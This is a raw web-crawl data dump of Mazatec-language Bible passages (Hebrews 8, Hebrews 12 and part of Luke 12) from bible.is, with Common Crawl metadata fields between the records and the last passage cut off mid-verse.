2Ya̱á síxá ya̱ ñánda tíjna xi nguì Ni'ya Tsjeè‑la̱ Nainá, xi jè sobà Nainá tsibíndaà; mìtsà ta̱xki̱ xi̱ta̱ tsibíndaà. 3Ngats'iì no̱'miì ítjòn, k'oa̱á s'ín satíxoma‑la̱ nga kjo̱tjò tsját'aà‑la̱ Nainá ko̱ cho̱ sík'en; k'oa̱á ma‑ne nga jè Cristo ti̱koa̱ tjínè‑la̱ nga kis'e‑la̱ mé kjo̱tjò xi kitsjaàt'aà‑la̱ Nainá. 4Jè Cristo, tsà i̱ tíjna i̱t'aà nangui, skanda mì‑la kiì ko̱ma nga no̱'miì kíjna, nga i̱ i̱t'aà nangui, jyeé tjín no̱'miì xi tsját'aà‑la̱ kjo̱tjò Nainá koni s'ín tjín kjo̱tíxoma xi kiskiì Moisés. 5Ta̱nga jñà no̱'miì xi tjín i̱ i̱t'aà nangui, ya̱á síxá ni'ya xi tà i̱sén‑la̱‑né ko̱ 'nguién‑la̱‑né jè Ni'ya Tsjeè‑la̱ Nainá xi tíjna ngajmiì; nga̱ jè Moisés k'e̱ nga jye mejèn koi̱ìts'ia̱ nga ki̱ìndaà ni'ya tsjeè‑la̱ Nainá xi nikje, jè Nainá kitsò‑la̱: \"Ndaà chítsejìn, k'oa̱ kó kji t'i̱in koni kji xi tsakoò‑lè ya̱ nindoò Sinaí.\" 6Ta̱nga na̱chrjein i̱'ndei̱, ìsa̱á ndaà tjín xá xi kitjoé‑la̱ Jesucristo nga no̱'miì ítjòn tíjna, nga jè osìjnajiìn jngoò kjoa̱ xi̱tse̱ xi ìsa̱ ndaà tjín xi tsibíndaàjiìn Nainá ko̱ xi̱ta̱, nga ya̱á nchrobát'aà‑ne 'én xi ìsa̱ ndaà tjín koni s'ín jye kitsjaà tso'ba Nainá. 7Tsà ni̱mé xi kisìchijàt'aà‑la̱ jè kjoa̱ xi kisindaàjiìn ítjòn, mì‑la kiì mochjeén nga ìjngoò k'a sindaàjiìn xi ma‑ne jò k'a. 8Ta̱nga Nainá k'e̱ nga tsohótiko̱, k'oa̱á kitsò: Ki̱jchò na̱chrjein k'e̱ nga kìndaàjiìn‑ko̱ jngoò kjoa̱ xi̱tse̱ jñà xi̱ta̱ Israel ko̱ xi̱ta̱ Judá, kitsò Nainá. 9Jè kjoa̱ xi̱tse̱ xi kìndaàjiìn‑koa̱a, mìtsà k'oa̱s'ín si̱ndaàjiìn koni ts'e̱ xi̱ta̱ jchínga‑la̱, k'e̱ nga 'a̱n sobà kitsobà tsja nga tsachrjekàjñaà nangui Egipto. Jñà xi̱ta̱ koi, mìkiì kisìkitasòn koni s'ín kisindaàjiìn, k'oa̱á komà‑ne nga kitsjìn takoàn, tsò Nainá. 10K'e̱ nga jye ko̱ma i̱skan, jè kjoa̱ xi̱tse̱ xi kíndaàjñaàkoa̱a xi̱ta̱ Israel, kiís'ín s'e̱, tsò Nainá: Kjo̱tíxoma‑na̱ ya̱á kíjnajñaà ya̱ kjo̱hítsjeèn‑la̱, ko̱ ya̱á skiaà i̱jiìn ini̱ma̱‑la̱. 'A̱n‑ná xi Nainá ki̱tso̱‑na, ko̱ jñà‑né xi ko̱ma xi̱ta̱ na̱xa̱ndá‑na̱. 11Mì ti̱ kiì ko̱chjeén‑ne nga xi̱ta̱ xíkjín ke̱èno̱jmíya‑la̱ ni̱ mìtsà jè 'ndse̱ ke̱èno̱jmí‑la̱ nga skoe̱xkon Nainá, nga ngats'iì xi̱ta̱ skoe̱xkon‑na̱ mats'ia̱ko̱‑ne xi ìsa̱ i̱xti skanda jñà xi 'ñó xi̱ta̱ jchínga. 12'A̱án siìjchàat'aà‑la̱ ngats'iì kjoa̱ ch'o xi kis'iìn, mì ti̱ kiì siìkítsjeèn‑na̱ jé xi tjín‑la̱. 13K'e̱ nga Nainá síkaxki̱ ìjngoò kjoa̱ xi̱tse̱, tsòyaá‑ne nga jè kjoa̱ xi kisindaàjiìn ítjòn, jyeé kòjchínga. Mì ti̱ kiì tímochjeén‑ne, jyeé tíchija.\nHebreos 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/8","date":"2013-12-06T21:48:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052641\/warc\/CC-MAIN-20131204131732-00056-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":383,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ko̱'sín ta̱ 'ñó kjìn ma‑ni xi̱ta̱ ra títsa̱jnandi‑ná ra nda kjokjiín‑la̱, 'koa̱á ma‑ni nga jién, machjeén‑ní nga ki̱jmié nga'tsì kjoa̱ ra batéchjá‑ná ko̱ kjoa̱ 'tse̱ jé ra tsabá'ñó‑ná nga konda̱cha̱‑ná; kínè‑lá ijo‑ná nga nda kjòn ki̱ìchikeén nga katachíkjoa̱ko̱‑ná skanda nga kijcheé ñánda̱ nga tjínè kjòn‑la̱ nga kijcheé. 2Ngi tà jé kí'té xkén Jesús, jè ra tsikí'tsia̱ kjòn‑ni koni 'sín nga makjiín‑ná, ko̱ jè ra síjngo kjoa̱ makjiín‑ná. Ta nga̱tjì‑la̱ jè kjo̱tsja ra iskoñá‑la̱ kichíkjoa̱ko̱ó‑la̱ nga isìkjiín kjo̱hi'in ya̱ a̱'ta krò, ko̱ mì tsa jè ki'sìn kinda̱ jè kjo̱sabà ra ya̱ isakò‑la̱, ko̱ 'ndi̱‑ni̱ ya̱á tíjna'ta nga kixi̱‑la̱ Nainá nga tíbatéxoma. 3Ti̱kítsjen a̱'ta 'tse̱ Jesús nga ichìkjoa̱ko̱ó‑la̱ jñà kjo̱hi'in ra jñà xi̱ta̱ jé kitsjà‑la̱, mé‑ni nga mì ki̱jta‑no ko̱ mì kì si̱kjahajen‑la takòn. 4Nga̱ jè kjoa̱ 'tse̱ jé ra i̱nchibixkàn‑ko̱ jiòn, takó kjè tsa yá ra sí'ken kjòn‑najiòn. 5¿A ijyeé inijchajin jiòn jè 'én ra kitsjà‑no Nainá nga i̱xti‑la̱ tsò‑no? Nga tsò 'én ra tjí'ta xa̱jo̱n‑la̱ Nainá: Ji̱ ra i'ndí‑na̱ xin‑la, kì nachrjengi‑jìn 'kia̱ nga síkixi̱ya‑li Na̱'ín‑ná, ko̱ kì nìkjahajen‑la̱ takìn 'kia̱ nga jè síkjaká‑li. 6Nga̱ jé Na̱'ín‑ná síkixi̱ya‑ní xi̱ta̱ ra tsjake, ko̱ tsjá‑la̱ kjo̱hi'in 'kia̱ nga 'cho 'sín nga'tsì xi̱ta̱ ra kjábétjò nga i'ndí‑la̱ tsò‑la̱. 7Katachíkjoa̱ko̱‑no koni 'sín Nainá síkixi̱ya‑no, nga̱ Nainá, 'koa̱á 'sín síko̱ ra i̱xti‑la̱ tsò‑la̱. Nga̱ nga'tsì ra Na̱'ìn 'mì, síkixi̱yaá i̱xti‑la̱. 8Tanga tsa mì kì si̱ikixi̱ya‑no Nainá koni 'sín síko̱ nga'tsì ra i̱xti‑la̱ ma, mì tsa i̱xti‑la̱ Nainá ma jiòn. 9Jién, 'kia̱ nga ti̱'sa̱ i̱xti kjòn iseé, jñà xi̱ta̱ jchínga‑ná i̱ a̱'ta nangi, 'koa̱á 'sín isìkixi̱ya‑ná ko̱ ndaá kijchaxkén. ¿A mí tsa isa̱ nda jcha̱xkón jnchro iseé Na̱'ín‑ná ra tíjna ya̱ ján ngajmi, mé‑ni nga kata'se‑ná kjo̱binachon? 10Kixi̱í kjoa̱, jñà xi̱ta̱ jchínga‑ná, 'koa̱á 'ki isìkixi̱ya‑ná koni 'ki kjòchi̱ya‑la̱ ra jñà, ni̱'sín ta tsato jè ni̱chjin ra kìi̱. Tanga kjo̱nda tsa̱jién‑né 'kia̱ nga jè Nainá ko̱'sín síkixi̱ya‑ná mé‑ni nga tsje ko̱ma‑ná koni 'sín nga tsje ra jè. 11Kixi̱í kjoa̱, mì kì tsa tsja 'se‑ná 'kia̱ nga ti̱'sa̱ nikixi̱ya‑ná, ta isa̱á jnchro ba 'se‑ná; tanga ra ma a̱skan‑nioo̱ tsa nda ko̱kixi̱yeé, 'nchán ki̱tsa̱jneé ko̱ kixi̱í si̱jché ijo‑ná. 12'Koa̱á ma‑ni nga 'ti̱ nga'ñó‑la ijo‑no, chjímitje̱en ndsa̱à ra ijye tífe nga'ñó‑la̱ ko̱ jè ndáxkó‑no ra ijye kjotsakon‑la̱; 13ndi̱yá kixi̱ tangió mé‑ni nga ko̱nda‑ni ndsa̱kò ra ijye kjotsakon‑la̱ ko̱ mé‑ni mì ya̱ 'tóxkon‑ni. 14Ko̱'sín 'nchán titsa̱jnako̱o nga'tsì xi̱ta̱, ko̱ tsje ti̱kíjna inìma̱‑no; nga̱ ni̱jngo ra ske̱ Na̱'ín‑ná tsa mì tsje tíjna inìma̱‑la̱. 15Nda ti̱konda̱a ijo‑no, kì ni̱yá ra síjchija kjo̱nda‑la̱ Nainá, mé‑ni nga mì ya̱ kji̱nchrabà‑ni kjo̱si nga tsjá 'chin‑no koni tsa jngo xka̱ ra tsja kja̱ma̱‑la̱. 16Kì ni̱jngo ra xi̱ta̱ chijngi ma, kì nachrjengio Nainá; kì tà chjàn ko̱'sín 'nià koni 'sín ki'sìn jè Esaú nga tà jngo chro̱ba̱ tsajmì ra ma chine tsatína‑ni jè tsajmì ra tjínè‑la̱ nga jè ko̱ko̱‑la̱ koni nga i'ndí‑tjòn. 17Jiòn, tjíjiín‑no koni 'sín kjomà 'kia̱ nga a̱skan‑nioo̱, jè Esaú, 'kia̱ nga kjomejèn‑la̱ nga katasíchikon'tin jè na̱'ìn‑la̱, inachrjengi‑ní; mì kì ti̱ kjomà jahatjìya‑ni nga jè kjòchikon'tin india‑ni, ni̱'sín takó 'ñó iskindaya. 18Mì tsa ya̱ ijchòkincha'ta‑la jiòn jè nindo chrja̱ngi̱ ra ma chaájno, [koni tjín kjo̱xkón ra kijtse xi̱ta̱ Israel] ya̱ ñánda̱ nga títì jnga̱ jnga̱ ni'í, nga kjòjñò, isincha ni̱tje̱n ni̱tje̱n ifi jmà ko̱ 'tsa tjo̱ xkón, 19nga jane chrjoo̱, ko̱ kina'yá‑la̱ jè jta̱‑la̱ Nainá 'kia̱ nga kiìchja̱. Tanga jñà xi̱ta̱ ra kií'nchré‑la̱ tsikítsa'ba‑ní nga kì ti̱ tsja chja̱‑isa‑ni, 20ta nga̱tjì‑la̱ mì ti̱ kì ichìkjoa̱‑la̱ koni 'sín tjín kjo̱téxoma ra isinè‑la̱ nga tsi'kìn‑la̱: \"Ta yá xi̱ta̱‑ni, ko̱ ni̱'sín tsa jngo cho̱, ko̱sèn jngo ndsa̱ko̱ ya̱ nindo chrja̱ngi̱ ra̱kìi̱, tjíné‑la̱ nga na̱jo̱ ki̱yá‑ni, ko̱ tsa majìn ki̱cha̱á tjáhi'sen‑kjá‑la̱.\" 21Taxki̱ 'ñó xkón tjín kjoa̱ ra kijcha‑la̱, skanda jè Moisés kitsó‑ní: \"Taxki̱ 'ñó títsakjoo̱n ko̱ skanda tífatsé‑náa̱.\" 22Tanga ra jiòn, ya̱á ijchò kincha'ta‑la jè nindo chrja̱ngi̱ ra 'mì Sión, jè ra na̱xi̱ndá‑la̱ Nainá ra tíjnakon, jè na̱xi̱ndá Jerusalén ra tíjna ya̱ ján ngajmi, ñánda̱ nga kjìn jmi ma‑ni ìkja̱li̱ títsa̱jna nga i̱nchisítsjako̱ Nainá, 23ko̱ ñánda̱ nga títsa̱jnajtín i̱xti‑la̱ Nainá ra tjábé‑la̱ jè kjo̱tjò ra bako̱‑la̱ ra i̱xtitjòn ra ijye ya̱ i̱ncha 'í‑la̱ ya̱ ján ngajmi; ko̱ ya̱á ijchò‑te jiòn ya̱ ñánda̱ nga tíjna Nainá ra xi̱ta̱xá tíjna nga bíndajín‑la̱ nga'tsì xi̱ta̱. Ko̱ ti̱'koa̱á ya̱á ijchò kincha'ta‑la jiòn jñà inìma̱‑la̱ xi̱ta̱ kixi̱ ra ijye Nainá kisìtsje nga ni̱mé chija'ta‑la̱. 24Ko̱ ya̱á ijchò kincha'ta‑te‑la jiòn jè Jesús ra basèn‑jin‑ná jè kjoa̱ xi̱tse̱ ra Nainá tsikíndajín ko̱ jñà xi̱ta̱, ko̱ ya̱á ijchò kincha'ta‑te‑la jiòn jè jní‑la̱ ra ixaájten [nga isìtsje‑ná], jè jní ra isa̱ nda chja̱‑ná mì 'koa̱‑ni koni jè jní‑la̱ Abel. 25Nda ti̱kinda̱a ijo‑no; kì tà chjàn nachrjengio jè ra tíchja̱‑no. Nga̱ jñà xi̱ta̱ ra tsachrjengi koni 'sín inakjoá‑la̱ i̱ a̱'ta nangi, 'kia̱ nga inìkjaká‑la̱, mì kì 'jahajno‑la̱ ra a̱'ta 'tse̱ kjo̱hi'in ra ki'tsì‑la̱. Ti̱'koa̱á ra jién, isa̱á ta 'ñó chjá tjín‑ni nga kjoaàjno‑ná a̱'ta 'tse̱ kjo̱hi'in, tsa ki̱náchrjengieé jè Nainá ra chja̱‑ná skanda ya̱ ján ngajmi nga síkjaká‑ná. 26Jè ni̱chjin ra̱kiòo̱, jè jta̱‑la̱ Nainá, skanda isìjtiyaá‑la̱ jè nangi, tanga 'ndi̱‑ni̱, 'koa̱á 'sín kitsjà 'én‑la̱ nga tsò: \"Ìjngo 'ká sijtíya-isa‑la̱, tanga mì tsa tà jè nangi ra sijtíya‑la̱, skanda ko̱ó ngajmi sijtíya‑la̱.\" 27'Kia̱ nga ko̱'sín tsò nga ìjngo 'ká si̱ìjtiya-isa‑la̱, 'koa̱á 'sín machi̱ya‑ná nga tjáhixìn jñà tsajmì ra xá isinda‑ni ra ma majtiya‑la̱, mé‑ni nga ta jñá si̱hijyo‑ni jñà tsajmì ra mì kì ma majtiya‑la̱. 28'Koa̱á ma‑ni nga mì kì ma majtiya‑la̱ jè i̱'nde ra títsjá‑ná Nainá ya̱ ñánda̱ nga ko̱texomake̱é. 'Ki̱‑lá kjo̱nda ko̱ ngi tà jé kjó'ta ikeén nga ki̱skón‑cheé ko̱ nga jcha̱xkén koni 'sín nga sasén‑la̱ ra jè. 29Nga̱ \"jè Nainá‑ná, 'koa̱á 'sín jngoya‑la̱ koni jngo ni'í ra baká tsjé tsje mé ra tjín.\"\nHebreos 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/12","date":"2013-12-13T05:08:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164884560\/warc\/CC-MAIN-20131204134804-00068-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":908,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye 'ñó kjìn jmi kjomà jñà xi̱ta̱ nga chi̱ba̱‑la̱ batéjno baté'ta xákjén, tsikí'tsia̱ Jesús nga kiìchja̱ ítjòn‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱; kitsò‑la̱: ―Ti̱kinda̱a ijo‑no a̱'ta 'tse̱ na̱'yo̱ san 'tse̱ xi̱ta̱ fariseo ra jò i̱sén tjín‑la̱; kì ko̱'sín ko̱ma'tion koni ma na̱'yo̱ san nga sísan xákjén 'kia̱ nga ya̱ májin‑la̱. 2Nga̱ nga'tsì kjoa̱ ra tjí'ma, takó ko̱tsíjen‑yá‑ní; ko̱ ni̱'sín bato 'ma tjíhijyo, takó jcha̱á‑la̱. 3'Koa̱á ma‑ni, nga'tsì 'én ra inakjoá'ma jiòn, kji̱'nchré tsijen‑ní nga'tsì xi̱ta̱; ko̱ jñà 'én ra inakjoá chijé jiòn ya̱ a̱ya ni'ya‑no, ki̱ná'ya‑la̱ nga tíjngo ya̱ na̱xi̱ndá. 4'Jiòn ra nda bakó‑no, kì jñà skon‑la ra ma‑la̱ sí'ken ijo‑ná; 'kia̱ nga ijye ma a̱skan‑nioo̱ mì kì ti̱ mé ra ma síko̱-isa‑ná. 5'Koa̱á xin‑no yá ra ti̱skón‑la; jé ti̱skón‑la, jè ra ma‑la̱ sí'ken‑ná, a̱kjòn tjí'nde‑la̱ nga si̱ìkàtje̱n‑jin‑ná ya̱ ñánda̱ títì ni'í 'tse̱ kjo̱hi'in. 'Koa̱á xin‑no, jé ra ti̱skón‑la. 6''Kia̱ nga 'òn ndí ni̱se, ta̱ jò to̱n satína‑ni. Tanga Nainá, kinda̱á tí'sín. Ni̱jngo ni̱se síjchaàjin. 7Ko̱ ra a̱'ta tsa̱jiòn, skanda jñà tsja̱skò tjíxki̱ya ijye‑la̱ Nainá. 'Koa̱á ma‑ni kì tà chjàn skon jiòn. Nga̱ isa̱á 'ñó chjí‑no koni jñá ndí ni̱se, ni̱'sín takó kjìn ma‑ni. 8''Koa̱á xin‑no, nga'tsì xi̱ta̱ ra ko̱ki̱tso̱ ya̱ ngixko̱n xi̱ta̱ nga 'a̱án fì'ta‑na, 'koa̱á ti̱'sín xiáa̱n, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, ya̱ ngixko̱n jñà ìkja̱li̱‑la̱ Nainá nga tsa̱'a̱n‑ná nga'tsì jñà xi̱ta̱ kìi̱. 9Tanga jè xi̱ta̱ ra ko̱ki̱tso̱ ya̱ ngixko̱n xi̱ta̱ nga mì tsa 'a̱n fì'ta‑na, 'koa̱á ti̱'sín 'kín‑la̱ ya̱ ngixko̱n ìkja̱li̱‑la̱ Nainá nga mì tsa xi̱ta̱ tsa̱'a̱n jiàa̱n. 10'Nga'tsì xi̱ta̱ ra ki̱chja̱jno‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, si̱hijcha'ta‑la̱ Nainá; tanga jè ra chja̱jno‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, mì kì si̱hijcha'ta‑la̱ jé‑la̱. 11''Kia̱ nga i̱ko̱‑no xi̱ta̱ ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío, ko̱ ya̱ ngixko̱n xi̱ta̱ ítjòn ko̱ 'tse̱ xi̱ta̱xá, kì makájno‑no kó'sín kixó nga ki̱si̱ko̱o ijo‑no mé 'én ra ki̱nákjoa̱a. 12'Kia̱ nga ki̱jchò hora nga ki̱nákjoa̱a, jè Inìma̱ Tsje‑la̱ Nainá 'ke̱èna̱jmíya‑no kó'sín kixó. 13Jngo xi̱ta̱ ra ya̱ tíjnajin‑la̱ xi̱ta̱ ra kjìn ma‑ni, kitsò‑la̱ Jesús: ―Maestro, ko̱'tìn‑la̱ jè 'ndsè katasíjòya tsajmì‑la̱ xi̱ta̱ jchínga‑na̱ji̱n; katatsjá‑na ra 'a̱n bako̱‑na. 14Tanga jè Jesús kitsó‑la̱: ―Ji̱ ndse, mì tsa xi̱ta̱xá‑jiàa̱n nga 'a̱n sijóya‑na tsajmì ra tsa̱jiòn. 15Jesús ti̱'koa̱á kitsò‑isa‑la̱: ―Chítsijen, ti̱'koa̱ 'tia̱àn kinda̱ ijo‑no; kì 'ñó kjìn tsajmì fatsjio i̱ i̱sà'nde; tsa kjìn tsajmì tjín‑no, mì tsa jñà tsjá‑no ra kjo̱binachon. 16Ti̱'koa̱á tsi'kéna̱jmí jngo‑la̱ kjoa̱ ra mangásòn; kitsò‑la̱: ―Jngo xi̱ta̱ ra 'ñó nchi̱ná, 'ñó kjìn tsajmì kjójchá nangi‑la̱. 17Xi̱ta̱ ra̱kìi̱, isíkítsjen‑ni; kitsò: \"¿Mé ra 'siaa̱n? Tsìn ñánda̱ kinchaxkó tsajmì‑na.\" 18'Kia̱á kitsò: \"Ijyeé be‑ná mé ra 'siaa̱n. Sikítsóña‑la ni'nga‑na̱, a̱kjòn kindá ra isa̱ i'i kjòn; ya̱á kinchaxkó nga'tsì tsajmì ra kjójchá‑na ko̱ ra tjín‑na. 19A̱kjòn xín‑la̱ ijo‑na̱: Kjín tsajmì i̱nchaxkó‑ná. Kjín‑la nó ko̱ma‑la̱; si̱kjáyaá‑leé, ki̱chií‑leé, 'sio̱ó‑leé, si̱tsjako̱ó‑leé i̱sà'nde.\" 20Tanga jè Nainá kitsó‑la̱: \"Ji̱ ra xi̱ta̱ táhijín 'mì‑li, jè ni̱tje̱n ra̱kìi̱, ki̱yá‑ní, ko̱ jñà tsajmì ra i̱nchaxkó‑li, ¿yá 'tse̱ ko̱ma?\" 21'Koa̱á 'sín ma'tin jñà xi̱ta̱ ra tà tsajmì 'tse̱ ijo‑la̱ mincháxkó ko̱ mì tsa xi̱ta̱ nchi̱ná‑ni ya̱ ngixko̱n Nainá. 22Nga kjomà a̱skan, Jesús kitsó‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱: ―Kií ko̱'sín tíxin‑no, kì níkájno mé ra chji̱ne̱e nga si̱jchá ijo‑no, ko̱ kì jè ijo‑no níkájno mé nikje ra tsjáya. 23Isa̱á 'ñó chjí‑la̱ jè kjo̱binachon‑ná koni jñà tsajmì ra chineé. Ti̱'koa̱á ijo‑ná, isa̱á 'ñó chjí‑la̱ koni jè nikje ra tsjayeé. 24Chítsijen‑la jñà nchra̱á; mì tsa jno̱ 'bé, ni̱ mì tsa ni̱ji̱n mincháxkó, tsìn‑la̱ kàxa̱ ni̱jmé, ti̱'koa̱ tsìn‑la̱ ni'nga; tanga jé Nainá tsjá‑la̱ mé ra kjine. ¡Jiòn jiòn, isa̱á 'ñó chjí‑no koni jñà ndí ni̱se! 25Ni̱'sín takó 'ñó si̱kájno jiòn, mì kì ko̱ma si̱katonè i̱tsé‑la ni̱chjin koni 'ki ijye iskosòn‑la̱ Nainá. 26Tsa mì kì ma‑no kjoa̱ ra mì tsa chjá tjín, mé‑ni nga jè níkájno‑no kjoa̱ ra isa̱ 'ñó chjá tjín. 27'Chítsijen‑la naxó ra 'mì lirio, kó'sín majchá; mì tsa síxá‑jìn, mì kì tsa ma‑la̱ bínda nikje‑la̱; tanga, 'koa̱á xin‑no, ni̱'sín 'ñó jeya tsikijna jè xi̱ta̱xá ítjòn ra tsi'kìn Salomón, skanda mí tsa ko̱'sín kjòn nikje ra tsakjaya koni kjòn jñà naxó. 28Nainá, tsa 'koa̱á 'sín 'ñó nda síkatsíjen jñà xka̱ ijñá ra nda tsijen 'ndi̱ 'ndi̱, ko̱ nchijòn, ya̱á ska̱tsajin ya̱ a̱jin ni'í; jiòn, xi̱ta̱ ra mì kì makjiín‑no, ¿a mí tsa isa̱ tsjá‑no Nainá nikje ra tsjáya? 'Koa̱á tixó jiòn‑ni̱. 29Kì níkájno jiòn; kì tà chjàn bixó: \"¿Mé ra chji̱ne̱é; mé ra 'sie̱é?\" Kì ko̱tjín ra 'ñó síkájno inìma̱‑no. 30Nga̱ jñá tsajmì kìi̱ ra isa̱ 'ñó bátsji nga'tsì xi̱ta̱ i̱sà'nde; tanga ra jiòn, jè Na̱'ìn‑no ra Nainá 'mì‑la; ijyeé be mé tsajmì ra machjeén‑no. 31'Koa̱á ma‑ni, jè 'ñó tjatsji jiòn kó'sín nga batéxoma Nainá, ko̱ nga'tsì tsajmì kìi̱, kja̱beé jè Nainá tsjásòn‑no. 32'Jiòn ra ndí forrè‑na̱ xin‑no, kì tà chjàn skon jiòn. Nga̱ jè Nainá, ijyeé ko̱'sín iskosòn‑la̱ nga ya̱ ko̱te̱xoma‑te ya̱ ñánda̱ tíbatéxoma Nainá. 33Ta̱ti̱na tsajmì ra tjín‑no; tà 'ti̱ kjo̱tjò‑la xi̱ta̱ ra machjeén‑la̱; jè tjatsjio xijtsa to̱n ra mì kì ma majchínga ra tjín ya̱ ján ngajmi; sakó‑no tsajmì ra 'ñó chjí‑la̱ ya̱ ján ngajmi ra mì kì fehe'ta, ya̱ ñánda̱ mì kì bijchó chijé ko̱ mì kì tsa cho̱ kixo síkjehe. 34Ya̱ ñánda̱ nga tjíhijyo tsajmì‑no ra 'ñó chjí‑la̱, ya̱á si̱íkítsjen inìma̱‑no. 35'Ti̱tsa̱jnanda nga si̱hitjasòn‑la Na̱'ín‑ná koni jngo xi̱ta̱ ra nda tjíkjá xìncho̱‑la̱, ko̱ nda sítì ni'í‑la̱. 36Ko̱'sín nda ti̱tsa̱jnakon koni jñà chi̱'nda ra i̱nchikoñá‑la̱ ni‑la̱ ra kàfì ñánda̱ nga tjín 'sí nga bixan xi̱ta̱, mé‑ni 'kia̱ nga kj'i̱í‑ni, sasa ski̱í'xa̱‑la̱ 'kia̱ nga si̱ìkjane xo̱tjo̱ba̱ ni'ya. 37Mé ta̱ nda‑la̱ jñà chi̱'nda ra tjítsa̱jnakon 'kia̱ nga kj'i̱í‑ni ni‑la̱. 'Koa̱á xín kixi̱‑no, jè sabà‑la̱ ni‑la̱ koa̱à'ta nikje fa'ta‑la̱, a̱kjòn ki̱iya‑la̱ tsajmì nga si̱ìkjèn. 38Mé ta̱ nda‑la̱ jñà chi̱'nda ra ko̱'sín tjítsa̱kon ni̱'sín ijye ijchò masen ni̱tje̱n, ni̱'sín ijye tí'se i̱sén nga kj'i̱í‑ni ni‑la̱. 39'Ya‑nó, jngo ni‑la̱ ni'ya, tsa be‑la kó chon kj'i̱í xi̱ta̱ ra si̱ìchijé‑la̱, kíjnakoón‑la nga mì kì tsjá'nde nga ko̱chijé‑la̱. 40'Koa̱á ti̱'sín ti̱tsa̱jnanda jiòn; jè hora 'kia̱ nga mì kì i̱nchichiñá jiòn, 'kia̱á kjí'i̱ india‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱. 41'Kia̱á kitsò Pedro: ―Na̱'ìn, jè kjoa̱ mangásòn ra tjinakjí, ¿a tà ji̱ín ra ko̱tjì'mì‑náji̱n, o̱ ra nga'tsì xi̱ta̱? 42Kitsó Na̱'ín‑ná Jesús: ―'Koa̱á xín‑no, jè chi̱'nda ra kixi̱ ko̱ ra 'ñó xi̱kjoa̱, jè ni‑la̱, tsjá‑la̱ xá nga síkinda̱ ni'ya‑la̱, mé‑ni 'kia̱ nga ki̱jchò chi̱ba̱‑la̱ si̱ìkjèn chi̱'nda xákjén. 43Mé ta̱ nda‑la̱ jè chi̱'nda ra ko̱'sín nda tísíhitjasòn 'kia̱ nga kj'i̱í‑ni ni‑la̱ ni'ya. 44'Koa̱á xin kixi̱‑no, jè ni‑la̱, jé‑la̱ si̱ìkíjna'nda ijye nga'tsì tsajmì ra tjín‑la̱. 45Tanga jè chi̱'nda ra̱kìi̱, tsa ki̱tso̱ a̱jin inìma̱‑la̱: \"Ki̱chjiaán‑la̱ jè ni‑na̱.\" A̱kjòn ki̱ì'tsia̱ nga ska̱jàn‑ko̱ chi̱'nda 'xi̱n xákjín, ti̱'koa̱ 'ke̱‑la̱ jñà chi̱'nda íchjín; ko̱kje̱n, ko̱ sk'í, ko̱ ko̱'chi̱. 46Jé ni̱chjin kj'i̱í‑ni ni‑la̱ 'kia̱ nga mì kì tíkoñá ko̱ mì kì tjíjin‑la̱. Tseé kjo̱hi'in tsjá‑la̱; ya̱á si̱íkíjnajin‑la̱ ya̱ ñánda̱ títsa̱jna xi̱ta̱ ra mì kì nda síhitjasòn. 47'Jè chi̱'nda ra ijye nda tjíjin‑la̱ mé ra mejèn‑la̱ jè ni‑la̱, tanga mì kì bijnanda, ti̱'koa̱á mì kì síhitjasòn koni 'sín mejèn‑la̱ jè ni‑la̱, isa̱á ta tse kjo̱hi'in tsjá‑la̱ ni‑la̱. 48Tanga tsa jè chi̱'nda mì kì tjíjin‑la̱ nga kjo̱hi'in tjín 'kia̱ nga 'cho 'nié, isa̱á chiba kjo̱hi'in 'se̱‑la̱. Jè ra isa̱ tse itjábé‑la̱, isa̱á tse si̱jé‑la̱; ko̱ jè ra isa̱ tse kjonga̱tsja, ti̱'koa̱á isa̱á tse si̱jé india‑la̱. 49'Kií xá 'jíi̱‑na ra 'a̱n i̱ a̱'ta nangi nga kjo̱híxìn‑la̱ jé‑la̱ xi̱ta̱ koni jngo ni'í ra baká tjé. 'A̱n, mején‑na tsa ijye títì ra tjé. 50'Koa̱á 'sín tjínè‑na nga tse kjo̱hi'in ko̱tojian; ¡sí 'on tíjna inìma̱‑na̱ skanda 'kia̱ nga ijye ko̱ka̱ma! 51¿A bixó‑nájiòn nga kií xá 'jíi̱‑na nga 'nchán kítsa̱jna xi̱ta̱? Majìn, ko̱jòya xi̱ta̱ ra a̱'ta tsa̱'a̱n. 52'Ndi̱ 'ndi̱, ko̱ nga'tsì ni̱chjin ra 'sa̱ fì, ya̱ ñánda̱ 'òn xi̱ta̱ tjítsa̱jna jngo ni'ya, jòya ka̱ma; jñà ra jàn ma‑ni, ska̱jàn‑ko̱‑ní ra jò ma‑ni. 53Jè ti ko̱ na̱'ìn‑la̱, kondra̱á ki̱ji̱‑la̱ xákjén; jè tsati ko̱ na̱‑la̱, kondra̱á ki̱ji̱‑te‑la̱ xákjín; jè ra na̱chíya ko̱ kja̱'nda‑la̱, ti̱'koa̱á kondra̱á ki̱ji̱‑la̱ xákjín. 54Jesús kitsó‑la̱ jñà 